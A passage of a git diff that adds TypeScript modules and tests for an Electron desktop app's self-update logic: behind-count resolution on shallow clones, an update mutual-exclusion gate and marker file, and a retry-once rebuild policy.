+ * nonzero height (electron#49183), shoving the lights into the left titlebar
+ * tools. Return 0 there so `setWindowButtonPosition` lands them at the configured
+ * inset; the renderer paints its own drag strips, so nothing is lost. Pre-Tahoe
+ * keeps the full titlebar height, byte-identical.
+ *
+ * @param {{ darwinMajor?: number, titlebarHeight?: number }} opts
+ */
+export function macTitleBarOverlayHeight({ darwinMajor = 0, titlebarHeight = 0 } = {}) {
+  return darwinMajor >= MACOS_TAHOE_DARWIN_MAJOR ? 0 : titlebarHeight
+}
diff --git a/ui-desktop/electron/update-count.test.ts b/ui-desktop/electron/update-count.test.ts
new file mode 100644
index 000000000..b7e1e89a6
--- /dev/null
+++ b/ui-desktop/electron/update-count.test.ts
@@ -0,0 +1,128 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { resolveBehindCount, shouldCountCommits } from './update-count'
+
+// FAIL-BEFORE: pre-fix the function did `Number.parseInt(countStr) || 0`
+// unconditionally, so a shallow checkout with no merge-base surfaced the bogus
+// rev-list count (e.g. 12104). This asserts the new shallow/no-merge-base branch.
+test('shallow checkout with no merge-base does NOT trust the bogus rev-list count', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '12104',
+      currentSha: 'aaa',
+      targetSha: 'bbb',
+      isShallow: true,
+      hasMergeBase: false
+    }),
+    1
+  )
+})
+
+test('shallow checkout with no merge-base but identical SHA reports up-to-date', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '12104',
+      currentSha: 'abc',
+      targetSha: 'abc',
+      isShallow: true,
+      hasMergeBase: false
+    }),
+    0
+  )
+})
+
+test('shallow checkout WITH a merge-base keeps the exact count (reliable)', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '3',
+      currentSha: 'aaa',
+      targetSha: 'bbb',
+      isShallow: true,
+      hasMergeBase: true
+    }),
+    3
+  )
+})
+
+test('full (non-shallow) clone keeps the exact count path unchanged', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '7',
+      currentSha: 'aaa',
+      targetSha: 'bbb',
+      isShallow: false,
+      hasMergeBase: true
+    }),
+    7
+  )
+})
+
+test('up-to-date full clone reports 0', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '0',
+      currentSha: 'x',
+      targetSha: 'x',
+      isShallow: false,
+      hasMergeBase: true
+    }),
+    0
+  )
+})
+
+test('non-numeric count falls back to 0 (defensive, unchanged behaviour)', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '',
+      currentSha: 'aaa',
+      targetSha: 'bbb',
+      isShallow: false,
+      hasMergeBase: true
+    }),
+    0
+  )
+})
+
+// shouldCountCommits gates the expensive `rev-list --count` in checkUpdates().
+// FAIL-BEFORE: in the shallow + no-merge-base case the caller ran rev-list
+// unconditionally and discarded the bogus result; this predicate lets the
+// caller SKIP the whole-ancestry enumeration in exactly that case (#51922).
+test('shallow checkout with no merge-base SKIPS the rev-list count', () => {
+  assert.equal(shouldCountCommits({ isShallow: true, hasMergeBase: false }), false)
+})
+
+test('shallow checkout WITH a merge-base still runs the count', () => {
+  assert.equal(shouldCountCommits({ isShallow: true, hasMergeBase: true }), true)
+})
+
+test('full (non-shallow) clone always runs the count', () => {
+  assert.equal(shouldCountCommits({ isShallow: false, hasMergeBase: true }), true)
+  assert.equal(shouldCountCommits({ isShallow: false, hasMergeBase: false }), true)
+})
+
+// The skip path produces an empty countStr; resolveBehindCount must NOT trust
+// it and must fall through to the SHA compare (mirrors the live call site).
+test('skipped-count path resolves via SHA compare, never via empty countStr', () => {
+  assert.equal(
+    resolveBehindCount({
+      countStr: '',
+      currentSha: 'aaa',
+      targetSha: 'bbb',
+      isShallow: true,
+      hasMergeBase: false
+    }),
+    1
+  )
+  assert.equal(
+    resolveBehindCount({
+      countStr: '',
+      currentSha: 'same',
+      targetSha: 'same',
+      isShallow: true,
+      hasMergeBase: false
+    }),
+    0
+  )
+})
diff --git a/ui-desktop/electron/update-count.ts b/ui-desktop/electron/update-count.ts
new file mode 100644
index 000000000..89bad41aa
--- /dev/null
+++ b/ui-desktop/electron/update-count.ts
@@ -0,0 +1,30 @@
+// Whether `git rev-list HEAD..origin/<branch> --count` produces a meaningful
+// number worth computing. On a SHALLOW checkout (installer clones with
+// --depth 1) the local history often shares no merge-base with the freshly
+// fetched origin tip, so the count enumerates the entire remote ancestry and
+// returns a bogus huge number (e.g. 12104) — see #51922. resolveBehindCount
+// discards that bogus count in favour of a SHA compare, so the caller should
+// SKIP the expensive rev-list entirely in that case rather than run it and
+// throw the result away.
+function shouldCountCommits({ isShallow, hasMergeBase }) {
+  return !(isShallow && !hasMergeBase)
+}
+
+// Resolve how many commits the local checkout is behind origin for the desktop
+// update indicator. When the count isn't meaningful (shallow + no merge-base)
+// fall back to a binary up-to-date check by SHA, exactly like the official-SSH
+// path in checkUpdates() and the CLI guard in clawcodex_cli/banner.py. Full clones
+// (developers / Docker dev images) keep the exact count path unchanged.
+function resolveBehindCount({ countStr, currentSha, targetSha, isShallow, hasMergeBase }) {
+  if (!shouldCountCommits({ isShallow, hasMergeBase })) {
+    if (currentSha && targetSha && currentSha === targetSha) {
+      return 0
+    }
+
+    return 1 // behind by an unknown amount — show a generic "update available"
+  }
+
+  return Number.parseInt(countStr, 10) || 0
+}
+
+export { resolveBehindCount, shouldCountCommits }
diff --git a/ui-desktop/electron/update-gate.test.ts b/ui-desktop/electron/update-gate.test.ts
new file mode 100644
index 000000000..4a06bf6bd
--- /dev/null
+++ b/ui-desktop/electron/update-gate.test.ts
@@ -0,0 +1,144 @@
+/**
+ * Tests for electron/update-gate.ts — the update mutual-exclusion gate that
+ * parks local backend spawns while an in-app update is running.
+ *
+ * The regression this guards (#73822): applyUpdates kills its own backend
+ * BEFORE the Windows venv-blocker scan but writes the on-disk marker AFTER
+ * it. A marker-only gate therefore let the renderer's reconnect spawn a
+ * fresh backend inside the update's own critical section, which the scan
+ * reported as a blocker — aborting every Desktop update attempt on Windows.
+ * The gate must consult the in-process updateInFlight flag as well.
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { updateGateReason, waitForUpdateClearance } from './update-gate'
+
+function deps(marker: boolean, inFlight: boolean) {
+  return {
+    hasLiveMarker: () => marker,
+    isUpdateInFlight: () => inFlight
+  }
+}
+
+// ---------------------------------------------------------------------------
+// updateGateReason
+// ---------------------------------------------------------------------------
+
+test('gate open when neither marker nor flag is set', () => {
+  assert.equal(updateGateReason(deps(false, false)), null)
+})
+
+test('marker alone closes the gate', () => {
+  assert.equal(updateGateReason(deps(true, false)), 'marker')
+})
+
+test('updateInFlight alone closes the gate (#73822 — the pre-marker window)', () => {
+  assert.equal(updateGateReason(deps(false, true)), 'update-in-flight')
+})
+
+test('marker wins as the reported reason when both are set', () => {
+  assert.equal(updateGateReason(deps(true, true)), 'marker')
+})
+
+// ---------------------------------------------------------------------------
+// waitForUpdateClearance
+// ---------------------------------------------------------------------------
+
+test('returns clear immediately without sleeping when the gate is open', async () => {
+  let slept = 0
+
+  const outcome = await waitForUpdateClearance(deps(false, false), {
+    pollMs: 10,
+    sleep: async () => {
+      slept += 1
+    },
+    timeoutMs: 1000
+  })
+
+  assert.equal(outcome, 'clear')
+  assert.equal(slept, 0)
+})
+
+test('parks on the in-flight flag and finishes when it clears', async () => {
+  // Simulates the #73822 sequence: the reconnect arrives while updateInFlight
+  // is true and no marker exists yet; the flag clears (abort path finally)
+  // and the waiter proceeds.
+  let inFlight = true
+  let ticks = 0
+
+  const outcome = await waitForUpdateClearance(
+    { hasLiveMarker: () => false, isUpdateInFlight: () => inFlight },
+    {
+      onWaitTick: reason => {
+        ticks += 1
+        assert.equal(reason, 'update-in-flight')
+
+        if (ticks >= 3) {
+          inFlight = false
+        }
+      },
+      pollMs: 1,
+      sleep: async () => {},
+      timeoutMs: 10_000
+    }
+  )
+
+  assert.equal(outcome, 'finished')
+  assert.equal(ticks, 3)
+})
+
+test('parks across the flag→marker handoff without a gap', async () => {
+  // Success path: the marker is written (main.ts:2936) BEFORE applyUpdates'
+  // finally clears the flag, so a waiter that arrived during the scan stays
+  // parked through the transition instead of slipping through.
+  let inFlight = true
+  let marker = false
+  let ticks = 0
+  const reasons: string[] = []
+
+  const outcome = await waitForUpdateClearance(
+    { hasLiveMarker: () => marker, isUpdateInFlight: () => inFlight },
+    {
+      onWaitTick: reason => {
+        ticks += 1
+        reasons.push(reason)
+
+        if (ticks === 2) {
+          marker = true // updater hand-off: marker written first…
+        }
+
+        if (ticks === 3) {
+          inFlight = false // …then the flag clears; marker still holds the gate
+        }
+
+        if (ticks === 5) {
+          marker = false // updater finished
+        }
+      },
+      pollMs: 1,
+      sleep: async () => {},
+      timeoutMs: 10_000
+    }
+  )
+
+  assert.equal(outcome, 'finished')
+  assert.deepEqual(reasons, ['update-in-flight', 'update-in-flight', 'marker', 'marker', 'marker'])
+})
+
+test('returns timeout when the gate never opens', async () => {
+  let clock = 0
+
+  const outcome = await waitForUpdateClearance(deps(true, false), {
+    now: () => clock,
+    pollMs: 10,
+    sleep: async ms => {
+      clock += ms
+    },
+    timeoutMs: 50
+  })
+
+  assert.equal(outcome, 'timeout')
+})
diff --git a/ui-desktop/electron/update-gate.ts b/ui-desktop/electron/update-gate.ts
new file mode 100644
index 000000000..8f1a69eee
--- /dev/null
+++ b/ui-desktop/electron/update-gate.ts
@@ -0,0 +1,95 @@
+'use strict'
+
+/**
+ * update-gate.ts
+ *
+ * Pure, dependency-injected gate that parks local backend spawns while an
+ * in-app update is running (#73822, #50238).
+ *
+ * Two independent signals mean "an update owns the venv right now":
+ *
+ *  - the on-disk marker (`CLAWCODEX_CONFIG_DIR/.clawcodex-update-in-progress`), written
+ *    by the updater — and by the desktop itself just before hand-off — and
+ *  - the in-process `updateInFlight` flag, true for the whole
+ *    `applyUpdates()` critical section.
+ *
+ * The marker alone is NOT enough (#73822): `applyUpdates` kills its own
+ * backend early (`releaseBackendLock`) but only writes the marker AFTER the
+ * Windows venv-blocker scan. Killing the backend drops the renderer's
+ * WebSocket, the renderer reconnects within ~1s, and a marker-only gate
+ * happily spawns a fresh backend inside the update's own critical section —
+ * which `scanVenvBlockers` then reports as a blocker, aborting every update
+ * attempt forever. Consulting the flag closes that window. On the success
+ * path the marker is written BEFORE the flag clears in `applyUpdates`'
+ * `finally`, so there is no instant where both signals are false and a
+ * waiter could slip through mid-update.
+ */
+
+export type UpdateGateReason = 'marker' | 'update-in-flight' | null
+
+export interface UpdateGateDeps {
+  /** True when a live on-disk update marker exists (see update-marker.ts). */
+  hasLiveMarker: () => boolean
+  /** True while this process is inside applyUpdates()' critical section. */
+  isUpdateInFlight: () => boolean
+}
+
+/** Why the gate is closed right now, or null when it is open. */
+export function updateGateReason(deps: UpdateGateDeps): UpdateGateReason {
+  if (deps.hasLiveMarker()) {
+    return 'marker'
+  }
+
+  if (deps.isUpdateInFlight()) {
+    return 'update-in-flight'
+  }
+
+  return null
+}
+
+export type UpdateClearanceOutcome = 'clear' | 'finished' | 'timeout'
+
+export interface WaitForUpdateClearanceOptions {
+  timeoutMs: number
+  pollMs: number
+  /** Invoked once per poll while parked (boot progress / logging). */
+  onWaitTick?: (reason: Exclude<UpdateGateReason, null>) => void | Promise<void>
+  now?: () => number
+  sleep?: (ms: number) => Promise<void>
+}
+
+/**
+ * Park until no update signal remains, or the deadline passes.
+ *
+ * Returns 'clear' when the gate was already open (no wait happened),
+ * 'finished' when it opened during the wait, and 'timeout' when the deadline
+ * expired with the gate still closed (callers proceed anyway — matching the
+ * long-standing marker-gate behavior, since a wedged updater must not brick
+ * the app forever).
+ */
+export async function waitForUpdateClearance(
+  deps: UpdateGateDeps,
+  options: WaitForUpdateClearanceOptions
+): Promise<UpdateClearanceOutcome> {
+  const now = options.now || Date.now
+  const sleep = options.sleep || (ms => new Promise<void>(r => setTimeout(r, ms)))
+
+  let reason = updateGateReason(deps)
+
+  if (!reason) {
+    return 'clear'
+  }
+
+  const deadline = now() + options.timeoutMs
+
+  while (reason && now() < deadline) {
+    if (options.onWaitTick) {
+      await options.onWaitTick(reason)
+    }
+
+    await sleep(options.pollMs)
+    reason = updateGateReason(deps)
+  }
+
+  return reason ? 'timeout' : 'finished'
+}
diff --git a/ui-desktop/electron/update-marker.test.ts b/ui-desktop/electron/update-marker.test.ts
new file mode 100644
index 000000000..f5be49325
--- /dev/null
+++ b/ui-desktop/electron/update-marker.test.ts
@@ -0,0 +1,179 @@
+/**
+ * Tests for electron/update-marker.ts — the in-app update mutual-exclusion
+ * marker that prevents a desktop relaunched mid-update from spawning a backend
+ * the updater then kills in a loop (#50238).
+ *
+ * Run with: node --test electron/update-marker.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * Why this matters: the gate must (a) report a live update only when the
+ * updater pid is alive AND the marker is fresh, (b) treat absent/malformed/
+ * dead-pid/expired markers as "no live update" so a crashed updater can't
+ * strand future launches, and (c) self-heal by deleting a stale marker file.
+ */
+
+import fs from 'fs'
+import assert from 'node:assert/strict'
+import os from 'os'
+import path from 'path'
+
+import { test } from 'vitest'
+
+import {
+  isPidAlive,
+  markerPath,
+  readLiveUpdateMarker,
+  UPDATE_MARKER_MAX_AGE_MS,
+  updateHandoffConflict,
+  writeUpdateMarker
+} from './update-marker'
+
+function tmpHome(tag) {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), `clawcodex-marker-${tag}-`))
+
+  return dir
+}
+
+function writeMarker(home, pid, startedAtSec) {
+  fs.writeFileSync(markerPath(home), `${pid}\n${startedAtSec}`)
+}
+
+const ALIVE: typeof process.kill = () => true // injected kill that "succeeds" => pid alive
+
+const DEAD: typeof process.kill = () => {
+  const err = new Error('no such process')
+
+  ;(err as any).code = 'ESRCH'
+  throw err
+}
+
+test('absent marker => no live update', () => {
+  const home = tmpHome('absent')
+  assert.equal(readLiveUpdateMarker(home, { kill: ALIVE }), null)
+})
+
+test('live pid within age ceiling => live update reported', () => {
+  const home = tmpHome('live')
+  const now = 1_000_000_000_000
+  writeMarker(home, 4242, Math.floor(now / 1000) - 5) // 5s old
+  const res = readLiveUpdateMarker(home, { kill: ALIVE, now: () => now })
+  assert.ok(res, 'a fresh, alive marker is a live update')
+  assert.equal(res.pid, 4242)
+  assert.ok(res.ageMs >= 0 && res.ageMs < 10_000)
+  assert.ok(fs.existsSync(markerPath(home)), 'a live marker is NOT deleted')
+})
+
+test('dead pid => no live update and marker is pruned', () => {
+  const home = tmpHome('dead')
+  writeMarker(home, 999999, Math.floor(Date.now() / 1000))
+  assert.equal(readLiveUpdateMarker(home, { kill: DEAD }), null)
+  assert.ok(!fs.existsSync(markerPath(home)), 'a dead-pid marker self-heals (deleted)')
+})
+
+test('expired marker (past age ceiling) => no live update and pruned', () => {
+  const home = tmpHome('expired')
+  const now = 1_000_000_000_000
+  writeMarker(home, 4242, Math.floor((now - UPDATE_MARKER_MAX_AGE_MS - 60_000) / 1000))
+  // Even though the pid is "alive", the marker is too old to trust.
+  assert.equal(readLiveUpdateMarker(home, { kill: ALIVE, now: () => now }), null)
+  assert.ok(!fs.existsSync(markerPath(home)), 'an expired marker self-heals (deleted)')
+})
+
+test('malformed marker => no live update and pruned', () => {
+  const home = tmpHome('malformed')
+  fs.writeFileSync(markerPath(home), 'not-a-pid\nnonsense')
+  assert.equal(readLiveUpdateMarker(home, { kill: ALIVE }), null)
+  assert.ok(!fs.existsSync(markerPath(home)))
+})
+
+test('isPidAlive: own pid is alive, impossible pid is dead', () => {
+  assert.equal(isPidAlive(process.pid), true)
+  assert.equal(isPidAlive(-1), false)
+  assert.equal(isPidAlive(0), false)
+  assert.equal(isPidAlive(NaN), false)
+})
+
+test('isPidAlive: EPERM counts as alive (process owned by another user)', () => {
+  const eperm = () => {
+    const err = new Error('operation not permitted')
+
+    ;(err as any).code = 'EPERM'
+    throw err
+  }
+
+  assert.equal(isPidAlive(4242, eperm), true)
+})
+
+test('writeUpdateMarker writes a marker that readLiveUpdateMarker accepts', () => {
+  const home = tmpHome('write')
+  const now = 1_000_000_000_000
+  writeUpdateMarker(home, 4242, { now: () => now })
+  // The marker should be readable and report the same pid.
+  const res = readLiveUpdateMarker(home, { kill: ALIVE, now: () => now })
+  assert.ok(res, 'marker written by writeUpdateMarker should be detected as live')
+  assert.equal(res.pid, 4242)
+  assert.ok(fs.existsSync(markerPath(home)), 'marker file should exist after write')
+})
+
+test('writeUpdateMarker is best-effort (no throw on bad path)', () => {
+  // A non-existent directory should not throw.
+  const badHome = path.join(os.tmpdir(), 'clawcodex-marker-nonexistent-' + Date.now())
+  assert.doesNotThrow(() => writeUpdateMarker(badHome, 4242))
+})
+
+test('writeUpdateMarker + dead pid => self-heals on read', () => {
+  const home = tmpHome('write-dead')
+  writeUpdateMarker(home, 999999, { now: () => Date.now() })
+  // PID 999999 is almost certainly not alive.
+  const res = readLiveUpdateMarker(home, { kill: DEAD })
+  assert.equal(res, null, 'a dead-pid marker from writeUpdateMarker self-heals')
+  assert.ok(!fs.existsSync(markerPath(home)), 'marker file is pruned')
+})
+
+// ---------------------------------------------------------------------------
+// updateHandoffConflict (#75778)
+//
+// A retried "Update" click must not spawn a second updater over a still-live
+// one — writeUpdateMarker unconditionally overwrites the marker, so an
+// unchecked hand-off clobbers the original updater's claim while it is still
+// alive and mutating the checkout.
+// ---------------------------------------------------------------------------
+
+test('no marker => hand-off is not blocked', () => {
+  const home = tmpHome('conflict-none')
+  assert.equal(updateHandoffConflict(home, { kill: ALIVE }), null)
+})
+
+test('a different live updater already owns the marker => hand-off is blocked', () => {
+  const home = tmpHome('conflict-live')
+  const now = 1_000_000_000_000
+  writeMarker(home, 1010, Math.floor(now / 1000) - 6) // 6s old
+  const conflict = updateHandoffConflict(home, { kill: ALIVE, now: () => now })
+  assert.ok(conflict, 'a live foreign updater must block a new hand-off')
+  assert.equal(conflict.pid, 1010)
+  assert.match(conflict.message, /already running/)
+  assert.match(conflict.message, /PID 1010/)
+  assert.match(conflict.message, /6s/)
+})
+
+test('a dead-pid marker does not block a hand-off (self-heals)', () => {
+  const home = tmpHome('conflict-dead')
+  writeMarker(home, 999999, Math.floor(Date.now() / 1000))
+  assert.equal(updateHandoffConflict(home, { kill: DEAD }), null)
+})
+
+test('an expired marker does not block a hand-off (self-heals)', () => {
+  const home = tmpHome('conflict-expired')
+  const now = 1_000_000_000_000
+  writeMarker(home, 1010, Math.floor((now - UPDATE_MARKER_MAX_AGE_MS - 60_000) / 1000))
+  assert.equal(updateHandoffConflict(home, { kill: ALIVE, now: () => now }), null)
+})
+
+test('minutes-scale elapsed time is formatted as "Nm Ss"', () => {
+  const home = tmpHome('conflict-minutes')
+  const now = 1_000_000_000_000
+  writeMarker(home, 1010, Math.floor(now / 1000) - 125) // 2m 5s old
+  const conflict = updateHandoffConflict(home, { kill: ALIVE, now: () => now })
+  assert.ok(conflict)
+  assert.match(conflict.message, /2m 5s/)
+})
diff --git a/ui-desktop/electron/update-marker.ts b/ui-desktop/electron/update-marker.ts
new file mode 100644
index 000000000..71529e78d
--- /dev/null
+++ b/ui-desktop/electron/update-marker.ts
@@ -0,0 +1,182 @@
+/**
+ * In-app update mutual-exclusion marker (#50238).
+ *
+ * The Tauri updater writes CLAWCODEX_CONFIG_DIR/.clawcodex-update-in-progress for the whole
+ * duration of an `--update` run (see apps/bootstrap-installer/src-tauri/src/
+ * update.rs `UpdateMarkerGuard`). The marker body is two lines: the updater's
+ * pid and the unix-seconds it started.
+ *
+ * Why: if the user relaunches the desktop mid-update — the window vanished with
+ * no progress and looks crashed — a fresh instance must NOT spawn its own local
+ * backend. That backend re-locks the venv shim, the updater's straggler cleanup
+ * (`force_kill_other_clawcodex`, taskkill /IM clawcodex.exe) kills it, the launch
+ * fails with the 45s "backend didn't come up" timeout, and the user relaunches
+ * into the same trap — an infinite respawn/kill loop. The desktop gates local
+ * backend startup on this marker and parks until the update finishes.
+ *
+ * This module holds the PURE, side-effect-light logic (path, pid liveness,
+ * parse + staleness) so it is unit-testable without booting Electron. The
+ * polling/boot-progress wrapper lives in main.ts where the boot-progress and
+ * log sinks are.
+ */
+
+import fs from 'fs'
+import path from 'path'
+
+// Even with a live-looking PID, never treat a marker older than this as a live
+// update. A full update (git pull + pip + desktop rebuild) is minutes, not tens
+// of minutes; past this the marker is almost certainly stale (e.g. the OS
+// recycled the pid onto an unrelated process), so the gate self-heals.
+export const UPDATE_MARKER_MAX_AGE_MS = 20 * 60 * 1000
+
+export function markerPath(clawcodexHome) {
+  return path.join(clawcodexHome, '.clawcodex-update-in-progress')
+}
+
+// True only if a host process with this pid is currently alive. Signal 0 does
+// not deliver a signal — it just probes existence/permission. ESRCH => dead;
+// EPERM => alive but owned by another user (still "alive" for our purposes).
+// Injectable `kill` keeps it unit-testable.
+export function isPidAlive(pid, kill: typeof process.kill = process.kill.bind(process)) {
+  if (!Number.isInteger(pid) || pid <= 0) {
+    return false
+  }
+
+  try {
+    kill(pid, 0)
+
+    return true
+  } catch (err) {
+    return Boolean(err && err.code === 'EPERM')
+  }
+}
+
+/**
+ * Read + interpret the marker.
+ *
+ * Returns `{ pid, ageMs }` only when an update is GENUINELY still running
+ * (parseable pid that is alive, within the age ceiling). Returns `null` for
+ * every "no live update" case — absent, unreadable, malformed, dead pid, or
+ * past the ceiling — and, when a stale marker file exists, deletes it so it
+ * cannot strand future launches.
+ *
+ * Pure-ish: file I/O against the given path, plus an injectable pid probe and
+ * clock for tests.
+ */
+export function readLiveUpdateMarker(
+  clawcodexHome,
+  {
+    kill,
+    now = Date.now,
+    maxAgeMs = UPDATE_MARKER_MAX_AGE_MS
+  }: {
+    now?: () => number
+    maxAgeMs?: number
+    kill?: typeof process.kill
+  } = {}
+) {
+  const file = markerPath(clawcodexHome)
+  let raw
+
+  try {
+    raw = fs.readFileSync(file, 'utf8')
+  } catch {
+    return null // absent or unreadable => no live update
+  }
+
+  const [pidLine, startedLine] = String(raw).split('\n')
+  const pid = Number.parseInt((pidLine || '').trim(), 10)
+  const startedAt = Number.parseInt((startedLine || '').trim(), 10)
+  const ageMs = Number.isFinite(startedAt) ? now() - startedAt * 1000 : Infinity
+  const alive = Number.isInteger(pid) && isPidAlive(pid, kill)
+
+  if (!alive || ageMs > maxAgeMs) {
+    try {
+      fs.unlinkSync(file)
+    } catch {
+      void 0
+    }
+
+    return null
+  }
+
+  return { pid, ageMs }
+}
+
+/**
+ * Write the update-in-progress marker *from the desktop* before handing off
+ * to the detached updater.
+ *
+ * The Tauri-based clawcodex-setup.exe takes several seconds to initialise its
+ * window and reach the Rust `run_update` entry point where it writes the
+ * marker itself. During that gap the desktop's `app.quit()` teardown kills
+ * the backend child, the renderer's WebSocket drops, and the renderer
+ * immediately calls `ensureBackend()` → `waitForUpdateToFinish()`. Because
+ * the updater hasn't written the marker yet, the gate sees no live update
+ * and spawns a *new* backend — which re-locks `.pyd` files in the venv.
+ * When the updater finally reaches the venv-rebuild stage it finds those
+ * files locked and the update bricks.
+ *
+ * Fix: the desktop writes the marker itself, using the spawned updater's
+ * PID, immediately after `spawn()`. The updater's `UpdateMarkerGuard` will
+ * later overwrite it with its own PID — that's fine, the marker body is
+ * the same format and `readLiveUpdateMarker` only cares that *some* live
+ * pid owns it. When the updater finishes it deletes the marker as before.
+ * If the updater never starts (spawn failure) the marker still contains a
+ * real PID, so `readLiveUpdateMarker` will self-heal once that PID exits.
+ */
+export function writeUpdateMarker(clawcodexHome, pid, { now = Date.now } = {}) {
+  const file = markerPath(clawcodexHome)
+  const startedAt = Math.floor(now() / 1000)
+
+  try {
+    fs.writeFileSync(file, `${pid}\n${startedAt}\n`, 'utf8')
+  } catch {
+    // Best-effort: if we can't write the marker, proceed anyway. The
+    // updater will write its own when it reaches run_update.
+  }
+}
+
+/**
+ * Whether a NEW updater hand-off must be refused because a different,
+ * already-alive updater currently owns the marker (#75778).
+ *
+ * `writeUpdateMarker` unconditionally overwrites the marker file. Called
+ * before every hand-off with no conflict check, a user who clicks "Update"
+ * again while a prior updater is still parked mid-run (e.g. "waiting for
+ * ClawCodex to exit…") clobbers that still-running updater's claim: the
+ * retry's pre-write now names the NEW child, so the OLD process — alive
+ * and mutating the checkout — is no longer recorded as the owner. A second
+ * live updater can then run over the same tree unrecorded, the exact
+ * two-updaters-at-once hazard `UpdateMarkerGuard` in the Rust updater
+ * exists to prevent (apps/bootstrap-installer/src-tauri/src/update.rs).
+ *
+ * Returns the live foreign owner (with a ready-to-show message) when the
+ * hand-off must be refused, or `null` when it's safe to spawn — no marker,
+ * or the existing one is stale/dead and self-heals via
+ * `readLiveUpdateMarker`.
+ */
+export function updateHandoffConflict(
+  clawcodexHome,
+  opts: {
+    now?: () => number
+    maxAgeMs?: number
+    kill?: typeof process.kill
+  } = {}
+) {
+  const owner = readLiveUpdateMarker(clawcodexHome, opts)
+
+  if (!owner) {
+    return null
+  }
+
+  const mins = Math.floor(owner.ageMs / 60_000)
+  const secs = Math.floor((owner.ageMs % 60_000) / 1000)
+  const elapsed = mins > 0 ? `${mins}m ${secs}s` : `${secs}s`
+
+  return {
+    pid: owner.pid,
+    ageMs: owner.ageMs,
+    message: `An update is already running (PID ${owner.pid}, started ${elapsed} ago). Wait for it to finish, then try again.`
+  }
+}
diff --git a/ui-desktop/electron/update-rebuild.test.ts b/ui-desktop/electron/update-rebuild.test.ts
new file mode 100644
index 000000000..6c2d75245
--- /dev/null
+++ b/ui-desktop/electron/update-rebuild.test.ts
@@ -0,0 +1,65 @@
+/**
+ * Tests for electron/update-rebuild.ts — the retry-once policy for the desktop
+ * `--build-only` rebuild during self-update.
+ *
+ * Run with: node --test electron/update-rebuild.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * Why this matters: a first rebuild can return nonzero on a still-settling tree
+ * or a self-healed (network-blocked) Electron download. Without a second attempt
+ * the updater bails before the relaunch step — the app updates but never restarts
+ * (the field report behind this fix). The retry must fire on failure, not on
+ * success, and must run at most twice.
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { runRebuildWithRetry, shouldRetryRebuild } from './update-rebuild'
+
+test('shouldRetryRebuild retries only on a non-success exit', () => {
+  assert.equal(shouldRetryRebuild(0), false)
+  assert.equal(shouldRetryRebuild(1), true)
+  assert.equal(shouldRetryRebuild(null), true)
+})
+
+test('a clean first rebuild runs once and does not retry', async () => {
+  const codes = []
+
+  const result = await runRebuildWithRetry(attempt => {
+    codes.push(attempt)
+
+    return Promise.resolve({ code: 0 })
+  })
+
+  assert.deepEqual(codes, [0])
+  assert.equal(result.code, 0)
+})
+
+test('a failed first rebuild retries once and succeeds', async () => {
+  const codes = []
+
+  const result = await runRebuildWithRetry(attempt => {
+    codes.push(attempt)
+
+    return Promise.resolve({ code: attempt === 0 ? 1 : 0 })
+  })
+
+  assert.deepEqual(codes, [0, 1])
+  assert.equal(result.code, 0)
+})
+
+test('a rebuild that keeps failing runs at most twice and reports the failure', async () => {
+  const codes = []
+
+  const result = await runRebuildWithRetry(attempt => {
+    codes.push(attempt)
+
+    return Promise.resolve({ code: 1, error: 'rebuild-failed' })
+  })
+
+  assert.deepEqual(codes, [0, 1])
+  assert.equal(result.code, 1)
+  assert.equal(result.error, 'rebuild-failed')
+})
diff --git a/ui-desktop/electron/update-rebuild.ts b/ui-desktop/electron/update-rebuild.ts
new file mode 100644
index 000000000..a2a3581ec
--- /dev/null
+++ b/ui-desktop/electron/update-rebuild.ts
@@ -0,0 +1,29 @@
+/**
+ * Retry-once policy for the desktop `--build-only` rebuild during self-update.
+ *
+ * The first rebuild can return nonzero on a still-settling post-update tree or a
+ * network-blocked Electron fetch that the installer's self-heal repaired mid-run.
+ * A second attempt then builds clean off the healed dist (the content-hash stamp
+ * makes it a near-no-op when the first actually succeeded). Without the retry the
+ * updater bails before the relaunch step — the app updates but doesn't restart.
+ */
+
+function shouldRetryRebuild(code) {
+  return code !== 0
+}
+
+/**
+ * Run `rebuild()` (async, resolves `{ code, ... }`), retrying once on failure.
+ * Returns the final result.
+ */
+async function runRebuildWithRetry(rebuild) {
+  let result = await rebuild(0)
+
+  if (shouldRetryRebuild(result.code)) {
+    result = await rebuild(1)
+  }
+
+  return result
+}
+
+export { runRebuildWithRetry, shouldRetryRebuild }
diff --git a/ui-desktop/electron/update-relaunch.test.ts b/ui-desktop/electron/update-relaunch.test.ts
new file mode 100644
index 000000000..31ba10037
--- /dev/null
+++ b/ui-desktop/electron/update-relaunch.test.ts
@@ -0,0 +1,244 @@
+/**
+ * Tests for electron/update-relaunch.ts — the pure decision + script helpers
+ * behind the Linux in-app update relaunch (#45205).
+ *
+ * Run with: node --test electron/update-relaunch.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * What this locks (review acceptance criteria for PR #45205):
+ *   1. The execPath split: only a binary under release/<plat>-unpacked may
+ *      relaunch/claim a GUI update; AppImage/.deb/.rpm/dev/unresolved paths land
+ *      on the guiSkew terminal state and do NOT claim the GUI was updated.
+ *   2. Launch context is replayed on re-exec (args filtered of Electron
+ *      internals; CLAWCODEX_CONFIG_DIR / CLAWCODEX_DESKTOP_* env + cwd preserved) and is
+ *      safely shell-quoted.
+ *   3. The sandbox preflight: chrome-sandbox must be root-owned + setuid to be
+ *      launchable; otherwise the decision degrades to a manual terminal state
+ *      (keep a working window) unless a non-interactive fallback applies.
+ */
+
+import assert from 'node:assert/strict'
+import { execFileSync } from 'node:child_process'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  buildRelaunchScript,
+  collectRelaunchArgs,
+  collectRelaunchEnv,
+  decideRelaunchOutcome,
+  resolveUnpackedRelease,
+  sandboxFallbackFromEnv,
